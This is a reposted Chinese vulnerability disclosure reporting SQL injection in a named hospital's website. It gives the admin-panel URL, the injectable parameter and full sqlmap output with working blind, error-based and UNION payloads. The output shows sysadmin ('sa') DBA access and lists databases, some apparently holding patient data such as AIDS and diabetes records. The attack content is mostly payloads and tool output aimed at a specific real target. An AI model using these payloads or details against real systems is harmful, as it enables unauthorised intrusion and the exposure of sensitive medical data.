神刀安全网

漏洞标题: 中广安门中医院网站存在DBA+SA+MSSQL注射漏洞(女孩痛斥号贩子视频所属医院)

漏洞详情

披露状态:

2016-02-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-03-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

请看这条消息
http://www.gamh.com.cn/gamadmin/infomanage/comminfo/show.asp?Info_ID=1282

他们还好意思在那叭叭叭

详细说明:

网站后台:http://www.gamh.com.cn/gamadmin/

注射点:http://www.gamh.com.cn/english/huojiangmulu.asp?Info_Type_Name=Scientific%20Achievement&Info_Type_Code=20

参数:Info_Type_Code

DBA+SA+MSSQL

漏洞证明:

code 区域
sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:
---
Parameter: Info_Type_Code (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- -
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Info_Type_Code (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- -
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
current user: 'sa'
current database: 'gamhospital'
current user is DBA: True
available databases [10]:
[*] aids
[*] gamhospital
[*] keti
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tangniaobing
[*] tempdb

修复方案:

全心全意为老百姓服务

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 中广安门中医院网站存在DBA+SA+MSSQL注射漏洞(女孩痛斥号贩子视频所属医院)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮